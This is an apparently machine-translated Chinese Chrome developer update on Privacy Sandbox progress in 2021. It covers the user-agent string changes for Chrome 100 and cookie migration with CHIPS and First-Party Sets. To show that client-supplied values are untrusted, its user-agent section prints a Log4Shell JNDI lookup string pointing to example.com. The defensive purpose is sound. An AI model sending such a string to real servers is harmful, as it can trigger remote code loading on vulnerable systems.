欢迎观看 2021 年 Privacy Sandbox 最新动态摘要版,其中介绍了在 Chrome 中逐步停用第三方 Cookie 并努力打造更注重隐私保护的网络环境方面的里程碑。通常,我们会分享 Privacy Sandbox 时间表的更新概览以及整个项目的相关资讯,但 12 月是平静的月份。因此,我们将回顾 2021 年的一些活动,并为您提供一些可能的解决方案,助您在新的一年里做好准备。
Chromium 开发流程
为使新的 Web 平台功能在 Chromium 中推出,它需要完成项目的开放式开发过程。2021 年,Privacy Sandbox 团队推出了以下内容:
🥚 | 意向原型设计 | 19 |
🧪 | 有实验意向 | 7 |
🚀 | 发货意向 | 11 |
每个里程碑也是一个邀请,邀请更广泛的网络生态系统做出贡献。
意向原型设计是第一个检查点,我们会在此阶段开展讨论和早期实验。这意味着,您可以在 GitHub 上找到提案,您可以通过创建问题提问或加入标准组(例如 W3C 和 IETF)中的讨论和演示文稿。这也是编码的起点,这意味着您可以期望通过功能标志为开发者提供原型功能。初始反馈对于验证和迭代提案至关重要。
如果我们希望请求进行源试用,则可以选择执行意图实验步骤。开发者可以注册这项功能的源试用,然后在生产环境中进行测试。之所以称为实验,是因为我们想要在现实环境中验证该功能的一些具体方面。能够测试并分享这些测试结果的开发者可以提供有价值的反馈,以帮助迭代和改进功能。
“打算发货”是一个最终里程碑,表示功能现已完成并已准备好正式发布。获得批准后,该功能将合并到即将发布的版本中,然后在 Canary 版、Beta 版和稳定版中推出。请务必使用 Chrome 的 Canary 版和 Beta 版测试您的网站,以便在功能进入稳定版之前发现并报告所有 bug。
建议
每个 Privacy Sandbox 提案都附带有一个 GitHub 代码库。仓库会托管一个铺垫消息,用于总结整体功能、浏览器实现的详细规范,以及整个 Web 生态系统的贡献(形式为“问题”和“拉取请求”)。
在 14 个 Privacy Sandbox 代码库中,我们做到了:
💬 | 545 | 已创建问题 |
250 | 问题已关闭 | |
🛠️ | 261 | 已创建拉取请求 |
223 | 已合并拉取请求 |
解释器和规范中的语言通常是针对已经熟悉标准和浏览器开发的受众,如果您不熟悉这些语言,可能会觉得很困难。不过,解释器的目标是解释原因!如果有不明确或未涵盖的要点,我们希望您提出问题,以便我们更新并澄清解释说明。
分辨率
用户代理春季大扫除
在为新年临近的同时,我们还在统计 Chrome 100 和用户代理字符串的增量。不妨重新审视在您的代码中对用户代理字符串的任何使用,看看是否会受到这些更改的影响。
如需查找这些区域,请执行以下操作:
- 在 JavaScript 代码中搜索
navigator.userAgent
,或在服务器代码中访问User-Agent
标头。 - 请检查您对字符串的解析,看看是否有关于 2 位数版本的假设。例如,指定
\d\d
或\d{2}
的正则表达式应替换为\d+
。 - 针对您依赖的任何位置检查该字符串的使用:
- 平台(操作系统)版本
- 完整版 Chrome 版本
- 移动设备名称
- 这些值以后将减少为固定字符串。如果您需要访问这些值,请迁移到 User-Agent Client Hints。
有一项 12 月更新需要注意 - 如果您采用用户代理客户端提示,我们已经通过 <meta>
标记发送了 Intent to Ship to enable delegating hints to other origin in HTML(在 HTML 中启用将提示委托给其他来源)。例如:
<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">
如果您对春季大扫除充满热情,还可以考虑完全使用用户代理。如果您使用字符串检测移动设备,请调查是否可以将其替换为自适应设计。如果您正在检查浏览器名称和版本是否支持功能,请查看是否可以改用功能检测。
请务必注意,与任何客户端提供的值一样,用户代理无法保证准确无误,甚至无法保证提供。最近的 Log4j 漏洞“Log4shell”提供了此风险的示例。将用户代理字符串设置为包含 ${jndi:ldap://example.com/file}
这样的值的客户端或许能够让网站在服务器上主动解析该值。
Cookie 编目
新年的另一项传统活动是确保食材健康的饼干数量多样,让您感到愉悦。在我们逐步停用第三方 Cookie 的过程中,您应确保了解自己网站的哪些 Cookie 会受到影响。2020 年为我们带来了先机,因为现在有必要使用 SameSite=None
标记所有用于跨网站或第三方使用的 Cookie。
您已将 SameSite
属性设置为 None
的任何 Cookie 都需要进行更新。
目前,您可以考虑采用以下三种方法:
- 如果仅在与顶级网站为 1 对 1 关系时才需要 Cookie,请遵循 CHIPS 提案的进度。这意味着需要向 Cookie 添加
Partitioned
属性。 - 如果 Cookie 用于跨网站环境,但仅用于您拥有的并运营的网站,则它可能适合使用第一方集。这需要定义网站集中的网站,并将
SameParty
属性添加到 Cookie。 - 如果使用 Cookie 在多个网站之间提供某种形式的共享值,请参阅更广泛的 Privacy Sandbox 提案,寻求不依赖跨网站跟踪的替代解决方案。
如果您特别注重健康,这也是重新审视所有 Cookie 使用情况的理想时机,因为我们也有一个很好的方法来改进您的第一方 Cookie。
反馈
随着我们不断发布这些每月更新,并通过 Privacy Sandbox 从整体上改进进展,我们希望确保开发者能够获得所需的信息和支持。如果本系列有任何需要改进的方面,欢迎通过 @ChromiumDev Twitter 告诉我们。我们会参照您的意见,继续改进此广告格式。
查看 Privacy Sandbox 常见问题解答,我们会根据您提交到开发者支持代码库的问题不断扩充该常见问题解答。如果您在测试或实施任何提案方面有任何疑问,欢迎与我们联系。